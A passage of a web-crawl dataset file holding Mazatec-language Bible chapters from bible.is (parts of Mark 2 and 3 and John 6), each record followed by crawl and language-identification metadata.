'mì Mateo; ko̱ jè ra 'mì Tomás; ko̱ jè ra 'mì Jacobo, ti‑la̱ Alfeo; ko̱ jè ra 'mì Tadeo; ko̱ jè ra 'mì Simón ra ya̱ fì'ta‑la̱ jñà xi̱ta̱ cananista, 19ko̱ jè ra 'mì Judas Iscariote, jè ra isìnga̱tsja Jesús xi̱ta̱ kondra̱‑la̱. 'Kia̱ nga 'ji‑ni Jesús ya̱ ni'ya ñánda̱ nga síkjáya, 20taxki̱ xi̱ta̱‑ní ra kjóxkó india‑ni, skanda mí ti̱ itjo'nde‑la̱ nga ma tsakjèn jè Jesús ko̱ jñà xi̱ta̱‑la̱. 21Jñà xi̱ta̱ ra xákjién ma Jesús, 'kia̱ nga kií'nchré kjoa̱ ra tíma, kií'ká‑ni Jesús, nga̱ 'koa̱á 'sín kitsò tsa ijyeé kjóská‑la̱. 22Tanga jñà xi̱ta̱ ra bakón‑ya jè kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés ra 'ji‑ni ya̱ Jerusalén, 'koa̱á 'sín kitsò‑te nga jè‑ró nga'ñó ra síchjeén Jesús 'kia̱ nga ko̱'sín ma‑la̱ bachrjekàjin jñà inìma̱ 'cho‑la̱ ni̱í ra tjíjin ya̱ inìma̱‑la̱ xi̱ta̱, jé‑ró tsjá‑la̱ jè Beelzebú jè ra tíjna ítjòn‑la̱ jñà inìma̱ 'cho‑la̱ ni̱í. 23Jesús kiìchja̱á‑la̱ jñà xi̱ta̱ kìi̱ nga katanchrabá. A̱kjòn tsi'kéna̱jmí‑la̱ jñà kjoa̱ ra mangásòn‑kjo. Kitsò‑la̱: ―¿A ko̱maá ti̱jè‑ni xi̱ta̱‑ni̱í ko̱chrjekàjin‑ni ijo‑la̱ ya̱ inìma̱‑la̱ xi̱ta̱? 24Jngo i̱'nde ñánda̱ batéxoma jngo xi̱ta̱xá tsa jòya tjín nga ti̱jñà kjaán‑kjo‑ni xi̱ta̱‑la̱, mì kì ti̱ mé nga'ñó 'se̱‑la̱ nga ko̱tèxoma‑isa. 25Ko̱ tsa jngo ni'ya ñánda̱ nga títsa̱jna xi̱ta̱, tsa jòya tjín nga ti̱jñà kjaán‑kjo‑ni, ti̱'koa̱á mì kì ti̱ mé nga'ñó 'se̱‑la̱ nga ko̱tèxoma‑isa. 26Ko̱ tsa jè xi̱ta̱‑ni̱í ti̱jé tíkjaán‑ko̱‑ni ijo‑la̱, mì kì ti̱ mé nga'ñó 'se̱‑la̱ nga ma ko̱tèxoma‑isa. Ta ya̱á jchi̱ja. 27'Ya̱ ni'ya‑la̱ jngo xi̱ta̱ ra 'ñó 'tse̱n, ni̱yá xi̱ta̱‑ni ra ko̱ma kjoa̱ha'sen chijé nga si̱ìchijé mé tsajmì ra tjín‑la̱ tsa mì ítjòn ki̱íté'ñó jè xi̱ta̱ 'tse̱n, ko̱ a̱kjòn 'kia̱á ko̱ma si̱ìchijé‑la̱. 28''Koa̱á xín kixi̱‑no, jè Nainá si̱hijcha'tá‑la̱ nga'tsì jñà jé ra tjín‑la̱ xi̱ta̱ ko̱ a̱'ta 'tse̱ nga'tsì 'én 'cho ra ki̱chja̱. 29Tanga jñà xi̱ta̱ ra ki̱chja̱jno‑la̱ jè Inìma̱ Tsje‑la̱ Nainá, ni̱kjiá si̱jcha'ta‑la̱ jñà jé‑la̱, ko̱ kjo̱hi'iín si̱nè‑la̱ skanda ta mé ni̱chjin‑nioo̱. 30Kií ko̱'sín kitsò‑ni jè Jesús, nga̱ jñà xi̱ta̱ ra bakón‑ya jè kjo̱téxoma‑la̱ Nainá kitsó‑ní: \"Jé inìma̱ 'cho‑la̱ ni̱í tjíjin ya̱ inìma̱‑la̱.\" 31Ra kjomà a̱skan‑nioo̱, ijchó jñà 'ndse̱ Jesús ko̱ na̱‑la̱. Ya̱á tsikitsa̱jna ya̱ ndi̱tsiaán, 'kia̱á inakjoá‑la̱ jè Jesús. 32Jñà xi̱ta̱ ra ya̱ tjítsa̱jnandi‑la̱, kitsò‑la̱: ―Jè na̱‑li ko̱ jñà 'ndsì ya̱á tjítsa̱jna ndi̱tsiaán. Ji̱í‑ró bátsji‑li. 33'Kia̱á kiìchja̱ Jesús, kitsò‑la̱: ―¿Yá‑ni ra na̱‑na̱ ma ko̱ ra 'ndsèe̱ ma? 34Iskotsíjen‑la̱ jñà xi̱ta̱ ra ya̱ títsa̱jnandi‑la̱. Kitsò‑la̱: ―Jñá‑ní xi̱ta̱ kìi̱ ra na̱‑na̱ ma ko̱ ra 'ndsèe̱ ma. 35Nga̱ jñà xi̱ta̱ ra síhitjasòn koni 'sín nga mejèn‑la̱ Nainá, jñá‑ní ra 'ndsèe̱ ma, ko̱ ra tichjaa̱ ma, ko̱ ra na̱‑na̱ ma.\nSan Marcos 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Mark\/3","date":"2013-12-13T22:16:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386165000886\/warc\/CC-MAIN-20131204135000-00094-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":843,"character_repetition_ratio":0.087,"word_repetition_ratio":0.002,"special_characters_ratio":0.242,"stopwords_ratio":0.408,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Xi komà jò jàn na̱chrjein, ijchò ìjngoò k'a Jesús ján na̱xa̱ndá Capernaum. Kiì'nchré xi̱ta̱ nga ya̱ tíjna Jesús ya̱ ni'ya jè. 2Ti̱k'e̱‑ne kjìn jchán xi̱ta̱ ijchò maxkót'aà‑la̱ skanda mì ti kiì tsì'ndè‑ne xotjoa̱ ni'ya. Jesús kiìchja̱yajiìn‑la̱ 'én ndaà‑la̱ Nainá. 3Jngoò xi̱ta̱ j'iìko̱ xi mìkiì ma síhiníyá yijo‑la̱. Ñijòn xi̱ta̱ yangui. 4Nga mìkiì komà kitjò'nde‑la̱ nga jahas'en ya̱ xotjoa̱ ni'ya, nga 'ñó kjìn xi̱ta̱ títsa̱jna, ya̱á kiskíx'a̱ i̱tsjá ni'ya ya̱ kixi̱‑la̱ ñánda tíjna Jesús. Ya̱á kiskinìjen‑ne jè xi̱ta̱ xi xk'én xi kjiya‑la̱ yá. 5Jesús, k'e̱ nga kijtseè nga jñà xi̱ta̱ koi mokjeiín‑la̱ i̱t'aà tse, kitsò‑la̱ jè xi̱ta̱ xi xk'én: ―Ji̱ ndí na̱'èn, jé‑lè jye kichàat'aà‑lè. 6Ya̱ títsa̱jna i'nga xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés nga nchisíkítsjeèn i̱jiìn ini̱ma̱‑la̱. Kitsò: 7\"¿Mé‑ne ko̱s'ín chja̱‑ne jè xi̱ta̱ jè nga Nainá chja̱jno‑la̱? Nga ta̱jngoò Nainá síjchàat'aà‑ná jé‑ná.\" 8Ti̱k'e̱ kijtseèya‑la̱ Jesús koni s'ín nchisíkítsjeèn i̱jiìn ini̱ma̱‑la̱. Kitsò‑la̱: ―¿Mé‑ne ko̱tsò‑ne kjo̱hítsjeèn‑la̱ ini̱ma̱‑nó? 9¿Mé xi ìsa̱ chiba 'in tjín? Tsà xan‑la̱ jè xi̱ta̱ xi xk'én: \"Jé‑lè jye kàchàat'aà‑lè\", o tsà xán‑la̱: \"Chjoí na̱chan‑lè, ti̱sítji̱in, ti̱tjeí.\" 10Kokoò‑nò nga 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, tjí'ndeé‑na nga sìjchàat'aà‑la̱ jé‑la̱ xi̱ta̱ i̱ i̱sò'nde. K'e̱é kitsò‑la̱ jè xi̱ta̱ xi xk'én: 11―Ji̱, k'oa̱á xan‑lè: Ti̱sítji̱in, chjoí na̱chan‑yá‑lè, t'in‑ne ni'ya‑lè. 12K'e̱é tsasítje̱n jè xi̱ta̱ xk'én. Kiskoé na̱chan‑la̱. Itjojiìn‑la̱ ngats'iì xi̱ta̱ xi títsa̱jna. K'e̱ nga kijtseè kjoa̱ koi, tà kjòxkón‑la̱ ngats'iì xi̱ta̱. K'e̱é jeya kisìkíjna Nainá. Kitsò: ―Ni̱ sa̱á jngoò k'a 'yaá jngoò kjoa̱ xi ko̱s'ín ma. 13Jesús, ìjngoò k'a itjo. Kiì ján i̱ndiì ndáchikon. Ngats'iì xi̱ta̱ ya̱á ijchòkon, i̱kjoàn tsakóya‑la̱ 'én ndaà‑la̱ Nainá. 14K'e̱ nga nchifì, Jesús kijtseè jè Leví, ki'ndí‑la̱ Alfeo. Tíjnat'aà ími̱xa̱ ya̱ ñánda síkíchjítjì tsojmì ts'e̱ Roma. Kitsò‑la̱: ―Nchrohótji̱ngui‑ná. K'e̱é tsasítje̱n Leví, kiìtji̱ngui‑la̱ Jesús. 15K'e̱ nga tíjnat'aà ími̱xa̱ Jesús nga tíkjèn ya̱ ni'ya‑la̱ Leví, kjìn ma xi̱ta̱ xi síkíchjítjì tsojmì ko̱ xi̱ta̱ xi jé tjín‑la̱ títsa̱t'aàko̱ ími̱xa̱ Jesús ko̱ xi̱ta̱ xi kota'yàt'aà‑la̱. Kjìn jchán ma xi̱ta̱ xi tji̱ngui‑la̱. 16Jñà xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés ko̱ xi̱ta̱ fariseo k'e̱ nga kijtseè Jesús nga tíkjèn‑ko̱ xi̱ta̱ xi tse jé tjín‑la̱ ko̱ xi̱ta̱ xi síkíchjítjì tsojmì, kitsò‑la̱ jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús: ―¿Mé‑ne k'oa̱s'ín‑ne Maestro‑nò nga xi̱ta̱ xi síkíchjítjì tsojmì ko̱ xi̱ta̱ jé kjèn‑ko̱‑ne? 17K'e̱ nga kiì'nchré Jesús; kitsò‑la̱: ―Jñà xi̱ta̱ xi mì ch'in tjín‑la̱, mì chji̱ne̱xkiì mochjeén‑la̱; jñà‑né xi̱ta̱ xi xk'én xi mochjeén‑la̱ chji̱ne̱xkiì. 'A̱n, mìtsà koi xá j'i̱‑na nga jñà kichjà‑la̱ jñà xi̱ta̱ xi tsò‑la̱ yijo‑la̱ nga xi̱ta̱ kixi̱, koií xá j'i̱‑na nga jñà kichjà‑la̱ xi̱ta̱ xi beè‑la̱ ikon nga jé tjín‑la̱. 18Jngoò k'a, k'e̱ nga jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Juan ko̱ jñà xi kota'yàt'aà‑la̱ xi̱ta̱ Fariseo nchibìtsa̱jnachjan, kiì i'nga xi̱ta̱ koi nga kiskònangui‑la̱ Jesús. Kitsò‑la̱: ―Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Juan ko̱ xi kota'yàt'aà‑la̱ xi̱ta̱ Fariseo bìtsa̱jnachjan‑né. ¿Mé‑ne jñà xi̱ta̱ tsi̱ji xi kota'yàt'aà‑lè mì bìtsa̱jnachjan‑né? 19Kitsò Jesús: ―¿A bìtsa̱jnachjaán xi̱ta̱ k'e̱ nga xi̱ta̱ kòbixan k'e̱ nga ya̱ tíjnako̱‑ìsa jè xi̱ta̱ x'i̱n xi kòbixan? Majìn, mìkiì bìtsa̱jnachjan xi̱ta̱. 20Ta̱nga ki̱jchò na̱chrjein k'e̱ nga tjáxìn‑la̱ x'i̱n xi kòbixan; k'e̱‑né nga kítsa̱jnachjan xi̱ta̱. 21'Jngoò nikje i̱baà mìkiì ma si̱jto‑ne ko̱ nikje xi̱tse̱; nga jè nikje xi̱tse̱, kjeèn‑yó‑né koa̱ ko̱tejnda‑né jè nikje i̱baà. Ìsa̱á tse ko̱ma ñánda kixajndà kji. 22Ti̱koa̱á mìtsà yá xi ko̱ma binchá xán ixiì ko̱ chrjoa̱ jchínga; tsà ko̱s'ín s'e̱en, k'e̱ nga jye ko̱jchá xán, si̱ìxajndà chrjoa̱ jchínga, i̱kjoàn chi̱ja xán ko̱ chrjoa̱. Jè xán ixiì, chrjoa̱ xi̱tse̱é sinchá. 23Jngoò na̱chrjein nìkjáya ja Jesús ya̱ ñánda títje̱ trigo. Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ tsate chiba natín‑la̱ trigo. 24Jñà xi̱ta̱ Fariseo kitsò‑la̱: ―¿Mé‑ne ko̱s'ín‑ne xi̱ta̱‑lè jè na̱chrjein nìkjáya? Mìkiì tjí'nde nga ko̱s'ín ko̱ma. 25- 26Kiìchja̱ Jesús kitsò‑la̱: ―¿Jñò, a mìtsà jye tíjiìn‑nò koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá koni kis'iìn xi̱ta̱xá ítjòn xi ki'mì David ko̱ jñà xi̱ta̱‑la̱ xi kjihijtako̱ k'e̱ nga no̱'miì ítjòn tsibìjna jè Abiatar? K'e̱ nga kjòhojò‑la̱ nga nì mé tjín xi kine, jahas'en ni'ya‑la̱ Nainá. Tsakjèn i̱nchra̱jín tsjeè‑la̱ Nainá. Ti̱koa̱ kitsjaà‑la̱ xi̱ta̱‑la̱ xi tji̱ko̱. Mìkiì tjí'nde nga jñà ko̱kje̱n. Tà jñà no̱'miì tjí'nde‑la̱ nga ko̱kje̱n. 27Ìjngoò k'a kitsò Jesús: ―Jè na̱chrjein nìkjáya, koií xá kisindaà‑ne nga kjo̱ndaà ts'e̱ xi̱ta̱. Mìtsà koi xá kisindaà‑ne xi̱ta̱ nga kjo̱ndaà ts'e̱ na̱chrjein. 28K'oa̱á s'ín tjín, 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, skanda jè na̱chrjein nìkjáya, 'a̱án otiìxoma‑la̱.\nSan Marcos 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Mark\/2","date":"2013-12-08T00:44:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163056995\/warc\/CC-MAIN-20131204131736-00010-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000085830688477}","num_words":677,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.332,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga ijye kjomà kjoa̱ kìi̱, Jesús ya̱á kijì ya̱ ra ijngoa ndáchikon 'tse̱ Galilea, ti̱jè‑ni ndáchikon ra 'mì Tiberias. 2'Kia̱ nga kijtse xi̱ta̱ kjo̱xkón ra 'sín Jesús nga ma‑la̱ sínda‑ni xi̱ta̱ ra kiya, 'ñó kjìn xi̱ta̱ kijìtji̱ngi-isa‑la̱. 3'Kia̱á tsihijin jngo i̱'nde ñánda̱ a̱sòn'nga chon; ya̱á tsikijna ko̱ xi̱ta̱ ra kotá'yá'ta‑la̱. 4Ko̱ ijyeé tímachraña 'sí paxko̱ jè 'sí‑la̱ xi̱ta̱ judío. 5'Kia̱ nga iskotsíjen Jesús, ko̱ nga kijtse nga 'ñó kjìn ma‑ni xi̱ta̱ ra tji̱ngi‑la̱, kitsò‑la̱ jè Felipe: ―¿Ñánda̱ ki̱ndá‑lá tsajmì ra ko̱kje̱n jñà xi̱ta̱ kìi̱? 6Tanga ta 'koa̱á kitsò‑la̱, ta jè ra mejèn‑la̱ nga ske̱ kó ki̱tso̱ jè Felipe. Nga̱ jè Jesús, ijyeé be‑ní mé ra 'si̱in. 7Jè Felipe kitsó‑ní: ―Ni̱'sín‑la jñà chjí‑la̱ xi̱ta̱ ra jò sindo̱ ni̱chjin tjín‑ni ki̱ndá‑ilá ni̱ño̱ nchra̱jín jñà xi̱ta̱ kìi̱, nda mí‑la ki̱chóya‑la̱ nga i̱tsé i̱tsé ski̱ne̱ nga'tsiòo̱. 8'Kia̱á kiìchja̱ jè Andrés, ra ti̱'koa̱á ya̱ kotá'yá'ta‑la̱ Jesús, ra 'ndse̱ ma Simón Pedro, kitsò: 9―Jngo ti tíjna i̱jndíi̱ ra 'ya 'òn ni̱ño̱ nchra̱jín 'tse̱ cebada ko̱ jò ti̱; tanga ñánda̱ ki̱chóya‑la̱ ra ko̱tjióo̱n. 10Jesús kitsó‑la̱: ―Ko̱'tìn‑la nga'tsì xi̱ta̱ nga katitsa̱jna. Ko̱ taxki̱ 'ñó tjín xka̱ ijñá ya̱ i̱'nde ra̱kìi̱, ko̱ ya̱á tsikitsa̱jnajin. Nga̱ maá‑la tsa 'òn jmi ra ta xi̱ta̱ 'xi̱n. 11Jesús iskábé jñà ni̱ño̱ nchra̱jín kìi̱, 'kia̱ nga ijye kitsjá‑la̱ kjo̱nda Nainá, a̱kjòn kitsjá‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱, mé‑ni nga isìka'bí‑la̱ jñà xi̱ta̱ ra tjítsa̱jna. Jñà ti̱ ra jò ma‑nioo̱, 'koa̱á ti̱'sín isìko̱, kitsjá‑la̱ jñà xi̱ta̱ ta kó 'ki mejèn‑la̱. 12'Kia̱ nga ijye kjoski nga'tsì xi̱ta̱, Jesús kitsó‑la̱ xi̱ta̱ ra kotá'yá'ta‑la̱: ―Tíxkó‑no nga'tsì ra kajnengi‑ni, mé‑ni nga ni̱mé ra kji̱tsón‑ni. 13Jñà xi̱ta̱, 'kia̱ nga tsikíxkó‑ni jñà ni̱ño̱ nchra̱jín ra tsijnengi‑nioo̱, ngi tejò ndi̱si̱yá kjomà‑isa. 14Jñà xi̱ta̱, 'kia̱ nga kijtse kjo̱xkón ra 'ñó nda tjín ra ko̱ki'sìn Jesús kitsó‑la̱ xákjén: ―Kixi̱ kitií‑la̱ kjoa̱, jé‑la xi̱ta̱ ra̱kìi̱ ra chja̱ ngajo‑la̱ Nainá, ra xá tjínè‑la̱ nga kj'i̱í i̱ i̱sà'nde. 15Tanga Jesús kjòchi̱yaá‑la̱ nga jñà xi̱ta̱ kìi̱ mejèn‑la̱ nga kjo̱'ñó i̱ko̱ nga xi̱ta̱xá ítjòn si̱ìkíjna, 'kia̱á tsihijin india‑ni ján nindo ján, nga ya̱ tsikijna ta̱jngo. 16'Kia̱ nga ijye tímajñò, jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús ijchòjeén india‑ni ya̱ ñánda̱ kjijna jè ndáchikon, 17ya̱á 'jaha'sen jngo chitso ko̱ tsatojin jè ndáchikon nga kijì ya̱ na̱xi̱ndá Capernaum. Ijyeé 'ñó kjòjñò, ko̱ jè Jesús kjè kì tsijen bijchótji̱ngi‑la̱. 18Ya̱ a̱sòn ndáchikon 'ji jngo tjo̱xkón ra 'ñó 'tsa, ko̱ jè nandá tsikí'tsia̱ nga tsáfangi. 19Ijyeé‑la tsa kjo 'òn ko̱ tsa kjo jon jmi metro fì nga tjímasòn ya̱ a̱sòn ndáchikon, 'kia̱ nga kijtse nga jè Jesús tsá'basòn ya̱ nandá ko̱ tínchrabá'ta‑la̱ ya̱ chitso, jñà xi̱ta̱‑la̱ ta itsakjón‑ní. 20'Kia̱á kiìchja̱ Jesús, kitsò‑la̱: ―'A̱án‑náa̱, kì tà chjàn skon jiòn. 21Jñà xi̱ta̱‑la̱ 'ñó tsja ki'se‑la̱, isìkjaha'sen ya̱ chitso; ko̱ ndi̱to̱ón ijchò ya̱ i̱'nde ñánda̱ i̱nchifì. 22Nga ma nchijòn, jñà xi̱ta̱ ra tsikitsa̱jna ya̱ ra ijngoa ndáchikon ján kijtse‑ní nga ta jè‑ni chitso ra kjijna ra iko̱ xi̱ta̱, ko̱ nga jè Jesús mì kì tsijen 'jaha'sen, ta jñá xi̱ta̱ ra kotá'yá'ta‑la̱ kijcha‑la̱ nga 'jaha'sen. 23Tanga ijchó i'ka chitso ra kj'i̱í ra ya̱ inchrabà‑ni na̱xi̱ndá Tiberias ra tsincha'ta chraña‑la̱ ya̱ i̱'nde ñánda̱ nga tsakjèn ni̱ño̱ nchra̱jín xi̱ta̱ ra 'òn jmi ma‑nioo̱, 'kia̱ nga ijye kiìchja̱'ta‑la̱ Nainá Jesús nga kitsò‑la̱: \"Nainá ra katíchjí‑li.\" 24Jñà xi̱ta̱, 'kia̱ nga kijtse nga mì yá tjín Jesús ko̱ xi̱ta̱ ra kotá'yá'ta‑la̱, 'kia̱á 'jaha'sen jngo chitso kijì nga kiì kátsji Jesús, ya̱ ján na̱xi̱ndá Capernaum. 25Jñà xi̱ta̱ kìi̱, 'kia̱ nga ijye ijchò ya̱ ra ijngoa ndáchikon ján, ya̱á isakò‑la̱ Jesús, kitsò‑la̱: ―Maestro, ¿kó chon kà'fìi̱ i̱jndíi̱? 26Kiìchja̱ Jesús, kitsó‑la̱: ―Ngi kjo̱hixi̱í ra xin‑no, mì tsa ki fatsji‑nájiòn nga kjòchi̱ya‑no jè kjo̱xkón ra kí'siaa̱n; ta kií fatsji‑nájiòn nga ísikjén‑no skanda kó'sín tje̱n nga kjoskioò. 27Kì tà chjàn jè 'ñó níkájno tsajmì ra ma chine ra ta ndi̱to̱n fehe'ta, jè isa̱ 'ñó ti̱kájno jè tsajmì ra tíjna ki'ta nga̱ jè‑ní ra tsjá‑no kjo̱binachon ra mì kì fehe'ta. 'A̱án tsja‑no tsajmì kìi̱ 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xian‑la̱ ijo‑na̱. Nga̱ jè Na̱'ìn‑na̱ ra Nainá, 'koa̱á 'sín kitsjá kjo̱hixi̱ ra a̱'ta tsa̱'a̱n. 28Xi̱ta̱ kìi̱ 'kia̱á iskonangi kitsò: ―¿Mé ra 'sia̱n‑ji̱n nga ma si̱xá‑la̱ji̱n Nainá koni 'sín nga mejèn‑la̱? 29Kiìchja̱ Jesús, kitsó‑la̱: ―Jè xá ra mejèn‑la̱ Nainá nga 'sia̱an jiòn, jè‑ní nga katamakjiín‑no a̱'ta 'tse̱ ra jè isìkasén. 30Jñà xi̱ta̱ kìi̱, kitsò‑la̱ Jesús: ―¿Mé kjoa̱xkón ra bakon‑náji̱n, mé‑ni 'kia̱ nga jcha̱‑ji̱n, ko̱ma ko̱kjiín‑naji̱n? ¿Mé ra ma‑li 'nì? 31Jñà xi̱ta̱ jchínga‑na̱ji̱n, jñá iskine ni̱ño̱ nchra̱jín ra 'mì maná ya̱ i̱'nde kixì ñánda̱ ni̱mé tjín, koni 'sín tsò xa̱jo̱n tsje ra tjí'ta 'én‑la̱ Nainá, nga tsò: \"Ngajmi inchrabà‑ni ni̱ño̱ nchra̱jín ra kitsjà‑la̱ nga isìkjèn.\" 32Kiìchja̱ Jesús, kitsó‑la̱: ―Ngi kjo̱hixi̱í ra xin‑no, mì tsa jè Moisés ra kitsjà ni̱ño̱ nchra̱jín ra ngajmi inchrabà‑ni; jè Na̱'ìn‑na̱ ra ma‑la̱ tsjá‑no ra ngi jè sabà ni̱ño̱ nchra̱jín ra ngajmi nchrabá‑nì. 33Nga̱ jè ni̱ño̱ nchra̱jín ra tsjá Nainá, jè‑ní ra ijye itjojen‑ni ngajmi nga tsjá‑la̱ kjo̱binachon xi̱ta̱ ra tjín i̱sà'nde. 34Xi̱ta̱ kìi̱ kitsó‑ni: ―Na̱'ìn, 'ti̱ ki'ta‑náji̱n jè ni̱ño̱ nchra̱jín ra ko̱'mì‑la̱ ji̱. 35Jesús kitsó‑la̱: ―'A̱n‑ná jè ni̱ño̱ nchra̱jín ra ma si̱ìkíjnakon‑no; jè ra 'a̱n kji̱nchrabà'tà‑na, skií 'se̱ ki'ta ya̱ inìma̱‑la̱, ko̱ jè ra ko̱kjiín‑la̱ ra a̱'ta tsa̱'a̱n, ni̱ì‑ti̱‑kjiá ko̱xándá‑ila̱ ta kjiá‑nioo̱. 36Ijyeé ko̱kíxian‑no, ni̱'sín ijye kijcha‑nájiòn takó mì kì makjiín‑no ra a̱'ta tsa̱'a̱n. 37Nga'tsì xi̱ta̱ ra Na̱'ìn‑na̱ tsjá‑na, ya̱á nchrabá'ta‑na; ko̱ jñà ra 'a̱n nchrabá'ta‑na mì tsa bachrjengi jiàa̱n. 38Nga̱ mì tsa ki xá inchrabàjen‑na ján ngajmi nga 'a̱n ko̱'sín 'siaa̱n koni 'sín mejèn‑na; kií xá 'jíi̱‑na nga ko̱'sín sìhitjásòo̱n koni 'sín mejèn‑la̱ jè Na̱'ìn‑na̱ ra isìkasén‑na. 39Jè ra mejèn‑la̱ jè Na̱'ìn‑na̱ ra isìkasén‑na, jè‑ní nga nga'tsì xi̱ta̱ ra jè isìnga̱tsja‑na, ni̱jngo katachija, ta isa̱á 'a̱n sikjaáya‑ila̱ 'kia̱ nga kje̱he'tà ni̱chjin. 40Nga̱ jè ra mejèn‑la̱ jè ra isìkasén‑na, nga nga'tsì xi̱ta̱ ra ske̱xkon‑na 'a̱n ra I'ndí‑la̱ Nainá 'mì‑na ko̱ ra ko̱kjiín‑la̱ a̱'ta tsa̱'a̱n, kata'seé‑la̱ kjo̱binachon ra mì fehe'ta ni̱ ta kjiá‑nioo̱; ko̱ 'a̱án sikjaáya‑ila̱ 'kia̱ nga ijye kje̱he'tà ni̱chjin. 41Jñà xi̱ta̱ judío tsikí'tsia̱ nga kiìchja̱jno‑la̱ Jesús, ta ki‑ró nga kitsò: \"'A̱án‑ná ni̱ño̱ nchra̱jín ra ngajmi inchrabà‑ni.\" 42Ko̱ kitsó‑la̱ xákjén: ―¿A mí tsa jè xi̱ta̱ ra̱kìi̱ ra 'mì Jesús, jè ra ti‑la̱ José? Jién, ndaá 'yaxkeén jè na̱'ìn‑la̱ ko̱ na̱‑la̱. ¿Kó'sín ma‑ni nga tsò nga ngajmi inchrabà‑ni? 43Jesús 'kia̱á kitsò‑la̱: ―Kì ko̱'sín nakjoájno‑ná. 44Ni̱yá xi̱ta̱ ra ma kji̱nchrabà'tà‑na, tsa mì jè Na̱'ìn‑na̱ ra isìkasén‑na si̱ìkasén'ta‑na, mé‑ni nga 'a̱n sikjaáya‑ila̱ 'kia̱ nga kje̱he'tà ni̱chjin. 45'Koa̱á 'sín tsò xa̱jo̱n ra tsikínda xi̱ta̱ ra kiìchja̱ ngajo‑la̱ Nainá nga tsò: \"Nainá sabá ko̱kòn‑ya‑la̱ nga'tsì xi̱ta̱.\" 'Koa̱á 'sín ma‑ni nga nga'tsì ra 'nchré‑la̱ Na̱'ìn‑na̱ ko̱ machi̱ya‑la̱ ra a̱'ta 'tse̱, 'a̱án nchrabá'ta‑na. 46'Mì tsa ki‑ni nga tjín i'ka xi̱ta̱ ra ijye kijtse Nainá ra Na̱'ìn‑na̱ ma; ta̱ jngoó jè ra a̱'ta 'tse̱ Nainá inchrabà‑ni ra ijye kijtse. 47Ngi kjo̱hixi̱í ra xin‑no: jè ra ko̱kjiín‑la̱ ra a̱'ta tsa̱'a̱n, 'se̱é‑la̱ kjo̱binachon ra mì kì fehe'ta ni̱ ta kjiá‑nioo̱. 48'A̱án‑ná ni̱ño̱ nchra̱jín ra síkíjnakon‑no. 49Jñà xi̱ta̱ jchínga‑najiòn, ni̱'sín jñà tsakjèn ni̱ño̱ nchra̱jín ra maná 'mì ya̱ i̱'nde kixì ñánda̱ nga ni̱mé tjín, takó 'ken‑ní. 50Jè ni̱ño̱ nchra̱jín ra ko̱xin‑no, jè‑ní ra ngajmi inchrabà‑ni, mé‑ni jè ra ski̱ne̱ mì kì ki̱yá. 51'A̱án‑ná jè ni̱ño̱ nchra̱jín ra tíjnakon ra ya̱ itjojen‑ni ján ngajmi; tsa yá ra ski̱ne̱ ni̱ño̱ nchra̱jín ra̱kìi̱, kíjnakon ki'ta‑ní ni̱ ta kjiá‑nioo̱. Jè ni̱ño̱ nchra̱jín ra 'a̱n tsja, jè ijo‑na̱ ra ko̱xin‑la̱. Tsja‑ná ijo‑na̱ nga ki̱yátjì‑la̱ 'a̱n jñà xi̱ta̱ i̱sà'nde mé‑ni nga kítsa̱jnakon‑ni. 52Jñà xi̱ta̱ judío tsikí'tsia̱ nga tsakátiya‑ni, kitsò‑la̱ xákjén: ―¿Kó'sín si̱ìko̱‑la̱ ra̱kìi̱ nga ma tsjá‑ná ijo‑la̱ nga ma chji̱ne̱é? 53Jesús kitsó‑la̱: ―Ngi 'én kixi̱í ra xin‑no, tsa mì kì chji̱ne̱e ijo‑na̱ ko̱ mì kì 'sio̱ò jní‑na̱ 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱, mì kì 'se̱‑no kjo̱binachon. 54Jè ra kjine ijo‑na̱ ko̱ ra 'bi jní‑na̱ tjín‑la̱ kjo̱binachon ra mì kì fehe'ta; ko̱ 'a̱án sikjaáya‑ila̱ 'kia̱ nga ijye kje̱he'tà ni̱chjin. 55Nga̱ jè ijo‑na̱ ngi jè‑ní tsajmì ra ma chine ra ngi nda síski‑ná, ko̱ jè jní‑na̱ ngi jè sabá‑ní nandá ra ma 'yò. 56Jè ra ski̱ne̱ ijo‑na̱ ko̱ sk'í jní‑na̱, ya̱á kíjnako̱ ki'ta‑na, ko̱ 'a̱n, ya̱á tíjna̱ko̱ ki'ta‑te. 57Jè Na̱'ìn‑na̱, ra isìkasén‑na tíjnakon‑ní, ko̱ a̱'ta 'tse̱‑ní nga tíjna̱kon; 'koa̱á 'sín tjín‑te jè ra ski̱ne̱‑na, a̱'ta tsa̱'a̱án kíjnakon‑ni. 58Jè ni̱ño̱ nchra̱jín ra ko̱xin‑la̱ jè ra inchrabàjen‑ni ngajmi. Jè ni̱ño̱ 